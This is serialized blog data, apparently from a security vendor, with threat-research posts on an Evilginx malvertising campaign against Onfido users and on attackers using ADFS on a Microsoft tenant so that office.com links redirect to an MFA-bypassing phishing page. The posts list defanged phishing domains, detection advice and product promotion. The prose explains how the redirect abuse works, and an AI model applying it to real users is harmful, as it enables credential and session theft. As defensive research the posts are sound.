here.",{"data":105435,"content":105439,"nodeType":912},{"target":105436},{"sys":105437},{"id":105438,"type":909,"linkType":910},"6hdBHT8SrC6z7O0gIc7xnh",[],{"data":105441,"content":105445,"nodeType":912},{"target":105442},{"sys":105443},{"id":105444,"type":909,"linkType":910},"3KxFiCeGlk7fVC8k1oo7cX",[],{"data":105447,"content":105448,"nodeType":972},{},[],{"data":105450,"content":105451,"nodeType":981},{},[105452],{"data":105453,"marks":105454,"value":105456,"nodeType":865},{},[105455],{"type":926},"Isn’t Evilginx a red team tool?",{"data":105458,"content":105459,"nodeType":866},{},[105460],{"data":105461,"marks":105462,"value":105463,"nodeType":865},{},[],"Evilginx is nominally a red team tool, but we frequently spot it being used in phishing campaigns against our customers. Evilginx is a great choice for attackers looking to target non-standard web apps because it is capable of emulating a range of domains — it’s designed to be flexible and work for any page without generating a load of custom JavaScript that might stand out to security tools/analysts. ",{"data":105465,"content":105466,"nodeType":866},{},[105467],{"data":105468,"marks":105469,"value":105470,"nodeType":865},{},[],"If you want to see an example of Evilginx being used to phish a user, check out the example below. ",{"data":105472,"content":105476,"nodeType":912},{"target":105473},{"sys":105474},{"id":105475,"type":909,"linkType":910},"7IuP0mcRZJkL8YGNoZo5Dj",[],{"data":105478,"content":105479,"nodeType":972},{},[],{"data":105481,"content":105482,"nodeType":981},{},[105483],{"data":105484,"marks":105485,"value":105487,"nodeType":865},{},[105486],{"type":926},"What can you do about it?",{"data":105489,"content":105490,"nodeType":866},{},[105491],{"data":105492,"marks":105493,"value":105494,"nodeType":865},{},[],"There’s not a huge amount of impartial advice to give here unfortunately. With malicious Google ads not going away anytime soon, response action is limited. If you are an Onfido user, be sure to block the URL and any related patterns (we noticed that after appearing to have been taken down initially, the site has reappeared at dashboard[.]onfido[.]us[.]com/users/sign_in and no longer appears to require the same URL path). However, it goes without saying that this is a temporary measure and the attacker will no doubt rotate the domain in the near future. ",{"data":105496,"content":105497,"nodeType":866},{},[105498],{"data":105499,"marks":105500,"value":105501,"nodeType":865},{},[],"One good option is to encourage your users to bookmark their links rather than Google searching for the page. If you’re using an IdP with an application dashboard like Okta, Microsoft, or Google, this provides a convenient way to find all your apps in one place. ",{"data":105503,"content":105504,"nodeType":972},{},[],{"data":105506,"content":105507,"nodeType":981},{},[105508],{"data":105509,"marks":105510,"value":105512,"nodeType":865},{},[105511],{"type":926},"Bonus: How Push stopped the attack",{"data":105514,"content":105515,"nodeType":866},{},[105516],{"data":105517,"marks":105518,"value":105519,"nodeType":865},{},[],"Interested in how we stopped the attack?",{"data":105521,"content":105522,"nodeType":866},{},[105523],{"data":105524,"marks":105525,"value":105526,"nodeType":865},{},[],"When the user visited the page, Push detected Evilginx running on the page and blocked the user. Check it out.",{"data":105528,"content":105532,"nodeType":912},{"target":105529},{"sys":105530},{"id":105531,"type":909,"linkType":910},"5QavzZPS4siFvHCBhpujEe",[],{"data":105534,"content":105535,"nodeType":866},{},[105536],{"data":105537,"marks":105538,"value":105539,"nodeType":865},{},[],"Using our browser-based security platform, you can also see all users with an account on Onfido across your workforce. Using Push, you can:",{"data":105541,"content":105542,"nodeType":1616},{},[105543,105553,105563],{"data":105544,"content":105545,"nodeType":1570},{},[105546],{"data":105547,"content":105548,"nodeType":866},{},[105549],{"data":105550,"marks":105551,"value":105552,"nodeType":865},{},[],"Quickly identify which users have a password-based login set for their account (and therefore could be phished). ",{"data":105554,"content":105555,"nodeType":1570},{},[105556],{"data":105557,"content":105558,"nodeType":866},{},[105559],{"data":105560,"marks":105561,"value":105562,"nodeType":865},{},[],"Identify users to enable them to be contacted about the attacks targeting Onfido.",{"data":105564,"content":105565,"nodeType":1570},{},[105566],{"data":105567,"content":105568,"nodeType":866},{},[105569],{"data":105570,"marks":105571,"value":105572,"nodeType":865},{},[],"Set an app banner for Onfido warning users of the attacks and guiding them to access and login to the app via your SSO solution. ",{"data":105574,"content":105578,"nodeType":912},{"target":105575},{"sys":105576},{"id":105577,"type":909,"linkType":910},"23B4EHUs1vt0se5r1cUI4t",[],{"data":105580,"content":105581,"nodeType":1317},{},[105582],{"data":105583,"marks":105584,"value":105586,"nodeType":865},{},[105585],{"type":926},"We don’t just stop phishing attacks",{"data":105588,"content":105589,"nodeType":866},{},[105590],{"data":105591,"marks":105592,"value":105593,"nodeType":865},{},[],"It doesn’t stop there — Push provides comprehensive identity attack detection and response capabilities against techniques like credential stuffing, password spraying and session hijacking using stolen session tokens. You can also use Push to find and fix identity vulnerabilities across every app that your employees use like: ghost logins; SSO coverage gaps; MFA gaps; weak, breached and reused passwords; risky OAuth integrations; and more. ",{"data":105595,"content":105596,"nodeType":866},{},[105597,105601,105608],{"data":105598,"marks":105599,"value":105600,"nodeType":865},{},[],"If you want to learn more about how Push helps you to detect and defeat advanced identity attack techniques in the browser, ",{"data":105602,"content":105603,"nodeType":889},{"uri":1372},[105604],{"data":105605,"marks":105606,"value":105607,"nodeType":865},{},[],"book some time with one of our team",{"data":105609,"marks":105610,"value":105611,"nodeType":865},{},[]," for a live demo.","Investigating a recent malvertising campaign targeting Onfido customers","We recently investigated a malvertising campaign using Evilginx to target Onfido customers via Google ads.","2025-04-15T00:00:00.000Z","investigating-a-recent-malvertising-campaign-targeting-onfido-customers",{"items":105617},[105618,105620],{"sys":105619,"name":7796},{"id":7795},{"sys":105621,"name":342},{"id":4642},{"items":105623},[105624],{"fullName":11421,"firstName":11422,"jobTitle":11423,"profilePicture":105625},{"url":11425},{"__typename":1429,"sys":105627,"content":105629,"title":106221,"synopsis":106222,"hashTags":59,"publishedDate":106223,"slug":106224,"tagsCollection":106225,"authorsCollection":106231},{"id":105628},"5y6UUG3mMTu1dFhtKO0AUT",{"json":105630},{"data":105631,"content":105632,"nodeType":1382},{},[105633,105640,105647,105667,105674,105693,105700,105703,105711,105718,105725,105731,105738,105783,105825,105833,105840,105860,105898,105904,105911,105917,105924,105932,105962,105968,105971,105978,105998,106018,106048,106053,106056,106064,106071,106164,106167,106174,106190,106197,106204],{"data":105634,"content":105635,"nodeType":866},{},[105636],{"data":105637,"marks":105638,"value":105639,"nodeType":865},{},[],"Everything we do at Push is research-driven. Our detections for phishing attacks were created through hands-on analysis of phishing kits that our customers have been targeted with. This gives us a steady supply of all manner of modern Attacker-in-the-Middle phishing kits to analyze — from the classic Evilginx-style phish kit to professionalized criminal as-a-Service infrastructure. ",{"data":105641,"content":105642,"nodeType":866},{},[105643],{"data":105644,"marks":105645,"value":105646,"nodeType":865},{},[],"In our most recent phish kit teardown, we encountered a standard reverse-proxy clone of a Microsoft login page — nothing unusual at first glance. But increasingly, a lot of the innovation comes outside of the phishing page itself. ",{"data":105648,"content":105649,"nodeType":866},{},[105650,105654,105663],{"data":105651,"marks":105652,"value":105653,"nodeType":865},{},[],"The art in detection evasion comes from being able to successfully deliver the page to a user and have them open the page without it being intercepted by an email security, proxy scanner, URL TI feed, or web analysis tool. To achieve this, the attacker found a way to redirect from a legitimate ",{"data":105655,"content":105657,"nodeType":889},{"uri":105656},"http://outlook.office.com",[105658],{"data":105659,"marks":105660,"value":105662,"nodeType":865},{},[105661],{"type":943},"outlook.office.com",{"data":105664,"marks":105665,"value":105666,"nodeType":865},{},[]," link to a phishing website. ",{"data":105668,"content":105669,"nodeType":866},{},[105670],{"data":105671,"marks":105672,"value":105673,"nodeType":865},{},[],"This is essentially an open redirect vulnerability — maybe not the classic example where someone has forgotten to do input sanitization on their website, but the outcome is the same.",{"data":105675,"content":105676,"nodeType":866},{},[105677,105681,105689],{"data":105678,"marks":105679,"value":105680,"nodeType":865},{},[],"Central to our analysis was the use of our timelines feature, ",{"data":105682,"content":105683,"nodeType":889},{"uri":101283},[105684],{"data":105685,"marks":105686,"value":105688,"nodeType":865},{},[105687],{"type":943},"part of our latest Detections feature release",{"data":105690,"marks":105691,"value":105692,"nodeType":865},{},[],". I’m not going to talk in any detail about this, but the TL;DR is that it allows us to trace back the entire chain of browsing activity leading up to a detection — showing the full (sometimes lengthy) redirect chain from the initial link delivery source to the actual phishing page, tabs opened and closed, popup windows, forms submitted, passwords entered, and more. ",{"data":105694,"content":105695,"nodeType":866},{},[105696],{"data":105697,"marks":105698,"value":105699,"nodeType":865},{},[],"First, let’s go through the steps of my investigation before looking at the findings (and the implications for phishing detection evasion techniques). ",{"data":105701,"content":105702,"nodeType":972},{},[],{"data":105704,"content":105705,"nodeType":981},{},[105706],{"data":105707,"marks":105708,"value":105710,"nodeType":865},{},[105709],{"type":926},"Investigation walkthrough",{"data":105712,"content":105713,"nodeType":866},{},[105714],{"data":105715,"marks":105716,"value":105717,"nodeType":865},{},[],"As I opened with, there was nothing especially notable about the phishing page itself — a standard reverse-proxy AitM page designed to intercept the user’s session as they authenticate, bypassing MFA in the process. ",{"data":105719,"content":105720,"nodeType":866},{},[105721],{"data":105722,"marks":105723,"value":105724,"nodeType":865},{},[],"This was not targeted delivery — employees from several customers were impacted. I’ve included an example of how one user arrived at the site below.",{"data":105726,"content":105730,"nodeType":912},{"target":105727},{"sys":105728},{"id":105729,"type":909,"linkType":910},"51MnOL9XqQDkllK2Jer4S9",[],{"data":105732,"content":105733,"nodeType":866},{},[105734],{"data":105735,"marks":105736,"value":105737,"nodeType":865},{},[],"This one stood out to me for a few reasons. ",{"data":105739,"content":105740,"nodeType":1616},{},[105741,105751,105773],{"data":105742,"content":105743,"nodeType":1570},{},[105744],{"data":105745,"content":105746,"nodeType":866},{},[105747],{"data":105748,"marks":105749,"value":105750,"nodeType":865},{},[],"The user had accessed the malicious link from Google search. They searched “Office 265\" (a typo presumably), clicked a link, and were taken to an Office login page.",{"data":105752,"content":105753,"nodeType":1570},{},[105754],{"data":105755,"content":105756,"nodeType":866},{},[105757,105761,105769],{"data":105758,"marks":105759,"value":105760,"nodeType":865},{},[],"The Outlook link had a number of Google Ads tracking parameters attached, meaning they clicked an ad, not an organic link — making this a ",{"data":105762,"content":105764,"nodeType":889},{"uri":105763},"https://pushsecurity.github.io/phishing-techniques/techniques/malvertising/",[105765],{"data":105766,"marks":105767,"value":441,"nodeType":865},{},[105768],{"type":943},{"data":105770,"marks":105771,"value":105772,"nodeType":865},{},[]," attack. ",{"data":105774,"content":105775,"nodeType":1570},{},[105776],{"data":105777,"content":105778,"nodeType":866},{},[105779],{"data":105780,"marks":105781,"value":105782,"nodeType":865},{},[],"Another domain — bluegraintours[.]com — was in the URL path, after which they were redirected to the Microsoft-impersonating phishing site (login-microsoftonline[.]offirmtm[.]com ...). ",{"data":105784,"content":105785,"nodeType":866},{},[105786,105790,105799,105803,105810,105814,105821],{"data":105787,"marks":105788,"value":105789,"nodeType":865},{},[],"This got me wondering — how did they get ",{"data":105791,"content":105793,"nodeType":889},{"uri":105792},"http://office.com",[105794],{"data":105795,"marks":105796,"value":105798,"nodeType":865},{},[105797],{"type":943},"office.com",{"data":105800,"marks":105801,"value":105802,"nodeType":865},{},[]," to redirect to the phishing site, and why was the bluegraintours domain in the path of an ",{"data":105804,"content":105805,"nodeType":889},{"uri":105792},[105806],{"data":105807,"marks":105808,"value":105798,"nodeType":865},{},[105809],{"type":943},{"data":105811,"marks":105812,"value":105813,"nodeType":865},{},[]," link? There was no indication that an actual phishing email was interacted with, it seemed to all happen directly from the legitimate ",{"data":105815,"content":105816,"nodeType":889},{"uri":105792},[105817],{"data":105818,"marks":105819,"value":105798,"nodeType":865},{},[105820],{"type":943},{"data":105822,"marks":105823,"value":105824,"nodeType":865},{},[]," link. ",{"data":105826,"content":105827,"nodeType":1317},{},[105828],{"data":105829,"marks":105830,"value":105832,"nodeType":865},{},[105831],{"type":926},"Redirecting to a malicious login page via ADFS",{"data":105834,"content":105835,"nodeType":866},{},[105836],{"data":105837,"marks":105838,"value":105839,"nodeType":865},{},[],"From memory, I knew that the tenant name can appear in the URL when you’re accessing a specific Microsoft tenant for your organization — essentially a domain-specific landing page. ",{"data":105841,"content":105842,"nodeType":866},{},[105843,105847,105856],{"data":105844,"marks":105845,"value":105846,"nodeType":865},{},[],"It turns out the attacker had set up a custom Microsoft tenant with ",{"data":105848,"content":105850,"nodeType":889},{"uri":105849},"https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/ad-fs-overview",[105851],{"data":105852,"marks":105853,"value":105855,"nodeType":865},{},[105854],{"type":943},"Active Directory Federation Services (ADFS)",{"data":105857,"marks":105858,"value":105859,"nodeType":865},{},[]," configured. If you’re not familiar, ADFS is an SSO solution that is often used to connect on-premises Active Directory with cloud services like Microsoft 365 or Azure Active Directory. This means Microsoft will perform the redirect to the custom malicious domain. ",{"data":105861,"content":105862,"nodeType":866},{},[105863,105867,105876,105880,105889,105893],{"data":105864,"marks":105865,"value":105866,"nodeType":865},{},[],"This is strikingly similar to ",{"data":105868,"content":105870,"nodeType":889},{"uri":105869},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/samljacking/description.md",[105871],{"data":105872,"marks":105873,"value":105875,"nodeType":865},{},[105874],{"type":943},"SAMLjacking",{"data":105877,"marks":105878,"value":105879,"nodeType":865},{},[],", a technique I’ve ",{"data":105881,"content":105883,"nodeType":889},{"uri":105882},"https://pushsecurity.com/blog/samljacking-a-poisoned-tenant/",[105884],{"data":105885,"marks":105886,"value":105888,"nodeType":865},{},[105887],{"type":943},"blogged about previously",{"data":105890,"marks":105891,"value":105892,"nodeType":865},{},[]," which allows you to change the identity provider domain that an application’s users authenticate through. Attackers can change this link to their phishing page that proxies the legitimate site to phish users through legitimate sign-in links — ",{"data":105894,"marks":105895,"value":105897,"nodeType":865},{},[105896],{"type":926},"so I guess that makes this ADFSjacking?",{"data":105899,"content":105903,"nodeType":912},{"target":105900},{"sys":105901},{"id":105902,"type":909,"linkType":910},"3BXyDhMC69355gLRqyIwQP",[],{"data":105905,"content":105906,"nodeType":866},{},[105907],{"data":105908,"marks":105909,"value":105910,"nodeType":865},{},[],"I had initially assumed that bluegraintours was a legitimate website that had been compromised by the attacker and used as a redirect, which is pretty common behavior for threat groups. However, it turns out that it’s actually a fake website that the attackers have probably vibe-coded. ",{"data":105912,"content":105916,"nodeType":912},{"target":105913},{"sys":105914},{"id":105915,"type":909,"linkType":910},"1hnWJ0jgsPqRELDqUeFzf3",[],{"data":105918,"content":105919,"nodeType":866},{},[105920],{"data":105921,"marks":105922,"value":105923,"nodeType":865},{},[],"It’s worth noting that this isn’t something that the phishing victim would see as part of the attack — it’s purely used as an invisible redirect. This is most likely to be an attempt to mask the nature of the domain for domain categorization purposes, which is typical for proxy-based solutions to prevent users from browsing to unapproved things — this way, automated scanners will classify it as a travel blog. ",{"data":105925,"content":105926,"nodeType":1317},{},[105927],{"data":105928,"marks":105929,"value":105931,"nodeType":865},{},[105930],{"type":926},"Conditional loading interrupted the page analysis",{"data":105933,"content":105934,"nodeType":866},{},[105935,105939,105947,105951,105958],{"data":105936,"marks":105937,"value":105938,"nodeType":865},{},[],"While the user was taken to the phishing page at the end of the chain, ",{"data":105940,"content":105942,"nodeType":889},{"uri":105941},"https://pushsecurity.github.io/phishing-techniques/techniques/conditional-loading/",[105943],{"data":105944,"marks":105945,"value":66633,"nodeType":865},{},[105946],{"type":943},{"data":105948,"marks":105949,"value":105950,"nodeType":865},{},[]," restrictions prevented us from recreating the full attack flow when loading the initial link clicked by the user. This happens when certain conditions of the page load aren’t met. Because the kit decides I’m not a valid target, I’m redirected back to ",{"data":105952,"content":105953,"nodeType":889},{"uri":105792},[105954],{"data":105955,"marks":105956,"value":105798,"nodeType":865},{},[105957],{"type":943},{"data":105959,"marks":105960,"value":105961,"nodeType":865},{},[],". However, we were able to skip ahead and bypass the conditional loading to access the phishing server directly. ",{"data":105963,"content":105967,"nodeType":912},{"target":105964},{"sys":105965},{"id":105966,"type":909,"linkType":910},"68rW6CHJOJ2u3mCc08lGvZ",[],{"data":105969,"content":105970,"nodeType":972},{},[],{"data":105972,"content":105973,"nodeType":981},{},[105974],{"data":105975,"marks":105976,"value":66996,"nodeType":865},{},[105977],{"type":926},{"data":105979,"content":105980,"nodeType":866},{},[105981,105985,105994],{"data":105982,"marks":105983,"value":105984,"nodeType":865},{},[],"While this isn’t a vulnerability per se, the ability for attackers to add their own Microsoft ADFS server to host their phishing page and have Microsoft redirect to it is a concerning development that will make URL-based detections even more challenging than they already are. ",{"data":105986,"content":105988,"nodeType":889},{"uri":105987},"https://pushsecurity.github.io/phishing-techniques/techniques/trusted-website-hosting/",[105989],{"data":105990,"marks":105991,"value":105993,"nodeType":865},{},[105992],{"type":943},"Hosting phishing links on trusted third-party websites",{"data":105995,"marks":105996,"value":105997,"nodeType":865},{},[]," is a highly effective way of both bypassing URL-based detections and implementing layers of obfuscation in their phishing delivery chain that can break automated analysis tools.  ",{"data":105999,"content":106000,"nodeType":866},{},[106001,106005,106014],{"data":106002,"marks":106003,"value":106004,"nodeType":865},{},[],"This is basically the equivalent to ",{"data":106006,"content":106008,"nodeType":889},{"uri":106007},"http://outlook.com",[106009],{"data":106010,"marks":106011,"value":106013,"nodeType":865},{},[106012],{"type":943},"Outlook.com",{"data":106015,"marks":106016,"value":106017,"nodeType":865},{},[]," having an open redirect vulnerability, which would be a huge deal in the eyes of most security practitioners. In practice, it’s a little harder for the average attacker to make use of this, but anyone that is willing to create a Microsoft tenant and set up ADFS could create similar phishing infrastructure  — which only requires passing a credit card check. ",{"data":106019,"content":106020,"nodeType":866},{},[106021,106025,106032,106036,106044],{"data":106022,"marks":106023,"value":106024,"nodeType":865},{},[],"The other notable component to this attack is the use of ",{"data":106026,"content":106027,"nodeType":889},{"uri":105763},[106028],{"data":106029,"marks":106030,"value":441,"nodeType":865},{},[106031],{"type":943},{"data":106033,"marks":106034,"value":106035,"nodeType":865},{},[]," as the lure delivery channel. This is a trend we spotted recently with ",{"data":106037,"content":106038,"nodeType":889},{"uri":70881},[106039],{"data":106040,"marks":106041,"value":106043,"nodeType":865},{},[106042],{"type":943},"Scattered Spider’s use of Onfido-based malvertising lures",{"data":106045,"marks":106046,"value":106047,"nodeType":865},{},[],". Malvertising is a great way for attackers to sidestep phishing controls placed at the email layer (where the majority are) and, as in this case, can create a highly-convincing and difficult-to-spot phishing scenario.  ",{"data":106049,"content":106052,"nodeType":912},{"target":106050},{"sys":106051},{"id":67359,"type":909,"linkType":910},[],{"data":106054,"content":106055,"nodeType":972},{},[],{"data":106057,"content":106058,"nodeType":981},{},[106059],{"data":106060,"marks":106061,"value":106063,"nodeType":865},{},[106062],{"type":926},"Detection recommendations",{"data":106065,"content":106066,"nodeType":866},{},[106067],{"data":106068,"marks":106069,"value":106070,"nodeType":865},{},[],"There are a couple of tool-agnostic hardening options that can used to limit exposure to the specifics of this attack:",{"data":106072,"content":106073,"nodeType":1616},{},[106074,106084,106105],{"data":106075,"content":106076,"nodeType":1570},{},[106077],{"data":106078,"content":106079,"nodeType":866},{},[106080],{"data":106081,"marks":106082,"value":106083,"nodeType":865},{},[],"Monitoring for ADFS redirects in proxy logs that could be malicious, i.e. login.microsoftonline.com redirecting to another domain with /adfs/ls/ in the path. Many organizations do not use ADFS, while those that do should be able to filter legitimate ones to their legitimate domain relatively easily. ",{"data":106085,"content":106086,"nodeType":1570},{},[106087],{"data":106088,"content":106089,"nodeType":866},{},[106090,106094,106101],{"data":106091,"marks":106092,"value":106093,"nodeType":865},{},[],"Monitoring for Google redirects to ",{"data":106095,"content":106096,"nodeType":889},{"uri":105792},[106097],{"data":106098,"marks":106099,"value":105798,"nodeType":865},{},[106100],{"type":943},{"data":106102,"marks":106103,"value":106104,"nodeType":865},{},[]," with Google ad parameters for more specific detection of malvertising + ADFS hijacking as in this example. ",{"data":106106,"content":106107,"nodeType":1570},{},[106108],{"data":106109,"content":106110,"nodeType":866},{},[106111,106115,106124,106127,106136,106139,106148,106151,106160],{"data":106112,"marks":106113,"value":106114,"nodeType":865},{},[],"Deploying ad blockers to all of your browsers to stop malvertising attacks — though this only serves to tackle one of the several possible delivery vectors, such as links delivered using ",{"data":106116,"content":106118,"nodeType":889},{"uri":106117},"https://pushsecurity.github.io/phishing-techniques/techniques/email-legitimate-app/",[106119],{"data":106120,"marks":106121,"value":106123,"nodeType":865},{},[106122],{"type":943},"legitimate third-party services",{"data":106125,"marks":106126,"value":2717,"nodeType":865},{},[],{"data":106128,"content":106130,"nodeType":889},{"uri":106129},"https://pushsecurity.github.io/phishing-techniques/techniques/social-media/",[106131],{"data":106132,"marks":106133,"value":106135,"nodeType":865},{},[106134],{"type":943},"social media",{"data":106137,"marks":106138,"value":2717,"nodeType":865},{},[],{"data":106140,"content":106142,"nodeType":889},{"uri":106141},"https://pushsecurity.github.io/phishing-techniques/techniques/instant-messenger/",[106143],{"data":106144,"marks":106145,"value":106147,"nodeType":865},{},[106146],{"type":943},"instant messenger",{"data":106149,"marks":106150,"value":11397,"nodeType":865},{},[],{"data":106152,"content":106154,"nodeType":889},{"uri":106153},"https://pushsecurity.github.io/phishing-techniques/techniques/email-attachment/",[106155],{"data":106156,"marks":106157,"value":106159,"nodeType":865},{},[106158],{"type":943},"email attachment",{"data":106161,"marks":106162,"value":106163,"nodeType":865},{},[],". (This is one of the limitations of focusing on specific delivery mechanisms — attackers have more to choose from than ever before. It’s not just an email problem). ",{"data":106165,"content":106166,"nodeType":972},{},[],{"data":106168,"content":106169,"nodeType":981},{},[106170],{"data":106171,"marks":106172,"value":2270,"nodeType":865},{},[106173],{"type":926},{"data":106175,"content":106176,"nodeType":866},{},[106177,106181,106187],{"data":106178,"marks":106179,"value":106180,"nodeType":865},{},[],"Push doesn’t detect the redirect tricks, or relies on outdated domain TI feeds. It doesn’t matter what ",{"data":106182,"content":106183,"nodeType":889},{"uri":8862},[106184],{"data":106185,"marks":106186,"value":67317,"nodeType":865},{},[],{"data":106188,"marks":106189,"value":101319,"nodeType":865},{},[],{"data":106191,"content":106192,"nodeType":866},{},[106193],{"data":106194,"marks":106195,"value":106196,"nodeType":865},{},[],"Push’s browser-based security platform provides comprehensive identity attack detection and response capabilities against techniques like AiTM phishing, credential stuffing, password spraying, and session hijacking using stolen session tokens. ",{"data":106198,"content":106199,"nodeType":866},{},[106200],{"data":106201,"marks":106202,"value":106203,"nodeType":865},{},[],"You can also use Push to find and fix identity vulnerabilities across every app that your employees use, including ghost logins; SSO coverage gaps; MFA gaps; weak, breached and reused passwords; risky OAuth integrations; and more.",{"data":106205,"content":106206,"nodeType":866},{},[106207,106210,106218],{"data":106208,"marks":106209,"value":104093,"nodeType":865},{},[],{"data":106211,"content":106212,"nodeType":889},{"uri":16069},[106213],{"data":106214,"marks":106215,"value":106217,"nodeType":865},{},[106216],{"type":943},"request a demo.",{"data":106219,"marks":106220,"value":21,"nodeType":865},{},[],"How attackers are using Active Directory Federation Services to phish with legit office.com links","Push recently identified a novel phishing attack using Active Directory Federation Services to get Microsoft to send victims to a phishing site.","2025-08-12T00:00:00.000Z","phishing-with-active-directory-federation-services",{"items":106226},[106227,106229],{"sys":106228,"name":342},{"id":4642},{"sys":106230,"name":7796},{"id":7795},{"items":106232},[106233],{"fullName":11421,"firstName":11422,"jobTitle":11423,"profilePicture":106234},{"url":11425},"blog/new-phishing-campaign-identified-targeting-linkedin-users",{"json":106237},{"data":106238,"content":106239,"nodeType":1382},{},[106240],{"data":106241,"content":106242,"nodeType":866},{},[106243],{"data":106244,"marks":106245,"value":106246,"nodeType":865},{},[],"Attackers are increasingly sending phishing lures via non-email delivery channels like social media, instant messaging apps, and search engines. In this article, we’re diving into the latest sophisticated LinkedIn phishing campaign intercepted by Push. ",{"id":99855,"publishedAt":106248},"2026-08-12T11:53:41.511Z",{"items":106250},[106251,106253],{"sys":106252,"name":342},{"id":4642},{"sys":106254,"name":7796},{"id":7795},{"items":106256},[106257,106259,106261,106263,106265,106267,106269,106271,106273,106275,106277],{"sys":106258,"name":279,"slug":280,"tier":31},{"id":276},{"sys":106260,"name":519,"slug":520,"tier":31},{"id":516},{"sys":106262,"name":342,"slug":343,"tier":31},{"id":339},{"sys":106264,"name":261,"slug":262,"tier":45},{"id":258},{"sys":106266,"name":324,"slug":325,"tier":45},{"id":321},{"sys":106268,"name":466,"slug":467,"tier":45},{"id":463},{"sys":106270,"name":571,"slug":572,"tier":45},{"id":568},{"sys":106272,"name":475,"slug":476,"tier":45},{"id":472},{"sys":106274,"name":607,"slug":608,"tier":45},{"id":604},{"sys":106276,"name":431,"slug":432,"tier":45},{"id":428},{"sys":106278,"name":351,"slug":352,"tier":45},{"id":348},"V-PiPdbwcE_yIo2Utz3_YGaqkZVdg385zApcJIIGX7w",{"id":106281,"title":106282,"authorsCollection":106283,"content":106288,"extension":228,"faqItemsCollection":106879,"faqTitle":59,"featured":6,"hashTags":59,"meta":106881,"metaTitle":106882,"ogImage":59,"postType":1424,"publishedDate":106883,"relatedBlogPostsCollection":106884,"slug":108357,"stem":108358,"subtitle":59,"summary":108359,"synopsis":108370,"sys":108371,"tagsCollection":108374,"topicsCollection":108380,"__hash__":108412},"blog/blog/why-attackers-are-moving-beyond-email-based-phishing.json","Why attackers are moving beyond email-based phishing",{"items":106284},[106285],{"fullName":7800,"firstName":7801,"jobTitle":7802,"socialLinks":106286,"profilePicture":106287},[30152],{"url":7804},{"json":106289,"links":106831},{"data":106290,"content":106291,"nodeType":1382},{},[106292,106300,106307,106314,106321,106327,106330,106338,106345,106352,106368,106410,106416,106423,106439,106446,106451,106454,106462,106469,106485,106504,106522,106542,106549,106552,106560,106578,106609,106614,106619,106622,106630,106648,106668,106675,106693,106698,106704,106707,106715,106722,106729,106759,106766,106769,106777,106784,106791,106798,106805],{"data":106293,"content":106294,"nodeType":981},{},[106295],{"data":106296,"marks":106297,"value":106299,"nodeType":865},{},[106298],{"type":926},"Phishing has moved outside of the mailbox",{"data":106301,"content":106302,"nodeType":866},{},[106303],{"data":106304,"marks":106305,"value":106306,"nodeType":865},{},[],"Because of the changes to working practices, employees are more accessible than ever to external attackers. Once upon a time, email was the primary communication channel with the wider world, and work happened locally — on your device, and inside your locked-down network environment. This made email and the endpoint the highest priority from a security perspective. ",{"data":106308,"content":106309,"nodeType":866},{},[106310],{"data":106311,"marks":106312,"value":106313,"nodeType":865},{},[],"But now, with modern work happening across a network of decentralized internet apps, and more varied communication channels outside of email, it’s harder to stop users from interacting with malicious content.",{"data":106315,"content":106316,"nodeType":866},{},[106317],{"data":106318,"marks":106319,"value":106320,"nodeType":865},{},[],"Attackers can deliver links over instant messenger apps, social media, SMS, malicious ads, and using in-app messenger functionality, as well as sending emails directly from SaaS services to bypass email-based checks. Likewise, there are now hundreds of apps per enterprise to target, with varying levels of account security configuration.",{"data":106322,"content":106326,"nodeType":912},{"target":106323},{"sys":106324},{"id":106325,"type":909,"linkType":910},"1tDciIJqKnNoR4FqZChjTy",[],{"data":106328,"content":106329,"nodeType":972},{},[],{"data":106331,"content":106332,"nodeType":981},{},[106333],{"data":106334,"marks":106335,"value":106337,"nodeType":865},{},[106336],{"type":926},"Why am I not hearing about this more? ",{"data":106339,"content":106340,"nodeType":866},{},[106341],{"data":106342,"marks":106343,"value":106344,"nodeType":865},{},[],"Phishing attacks outside of email usually go unreported. This is to be expected when most of the industry’s data on phishing attacks comes from email security vendors and tools. ",{"data":106346,"content":106347,"nodeType":866},{},[106348],{"data":106349,"marks":106350,"value":106351,"nodeType":865},{},[],"If phishing bypasses the email layer, most organizations are left relying on user reported attacks. Some organizations might supplement this with a web proxy, but these are being increasingly defeated by modern phishing kits, which use an array of obfuscation and detection evasion techniques to bypass these detections. ",{"data":106353,"content":106354,"nodeType":866},{},[106355,106359,106364],{"data":106356,"marks":106357,"value":106358,"nodeType":865},{},[],"The most valuable information for security teams today is the webpage that is loaded ",{"data":106360,"marks":106361,"value":106363,"nodeType":865},{},[106362],{"type":898},"through",{"data":106365,"marks":106366,"value":106367,"nodeType":865},{},[]," the network traffic: What does the HTML body look like? What is the user likely seeing on the page? To do this, you need to stitch together and reconstruct what the browser is doing by looking at the network data. Except for very simple websites, this happens through JavaScript on the client side. ",{"data":106369,"content":106370,"nodeType":866},{},[106371,106375,106384,106387,106394,106397,106406],{"data":106372,"marks":106373,"value":106374,"nodeType":865},{},[],"This is hard enough when analysing a typical SaaS app. But the latest generation of fully customized Attacker-in-the-Middle (AitM) phishing kits are going out of their way to make this as challenging as possible, using techniques like ",{"data":106376,"content":106378,"nodeType":889},{"uri":106377},"https://phishing-techniques.pushsecurity.com/techniques/dom-obfuscation/",[106379],{"data":106380,"marks":106381,"value":106383,"nodeType":865},{},[106382],{"type":943},"DOM obfuscation",{"data":106385,"marks":106386,"value":2717,"nodeType":865},{},[],{"data":106388,"content":106389,"nodeType":889},{"uri":96164},[106390],{"data":106391,"marks":106392,"value":100148,"nodeType":865},{},[106393],{"type":943},{"data":106395,"marks":106396,"value":3476,"nodeType":865},{},[],{"data":106398,"content":106400,"nodeType":889},{"uri":106399},"https://phishing-techniques.pushsecurity.com/techniques/code-obfuscation/",[106401],{"data":106402,"marks":106403,"value":106405,"nodeType":865},{},[106404],{"type":943},"Code obfuscation",{"data":106407,"marks":106408,"value":106409,"nodeType":865},{},[]," so all you see at a network layer is a garbled, obfuscated mess of JS code.",{"data":106411,"content":106415,"nodeType":912},{"target":106412},{"sys":106413},{"id":106414,"type":909,"linkType":910},"71QsaPju68i5QiJcgQlHDs",[],{"data":106417,"content":106418,"nodeType":866},{},[106419],{"data":106420,"marks":106421,"value":106422,"nodeType":865},{},[],"So, non-email phishing is going broadly undetected through technical controls. And even when spotted and reported by a user — what can you really do about it?",{"data":106424,"content":106425,"nodeType":866},{},[106426,106430,106435],{"data":106427,"marks":106428,"value":106429,"nodeType":865},{},[],"Take a social media phish. You can’t see which other accounts were targeted or hit in your user base. Unlike email, there’s no way to recall or quarantine the same message hitting multiple users. There’s no rule you can 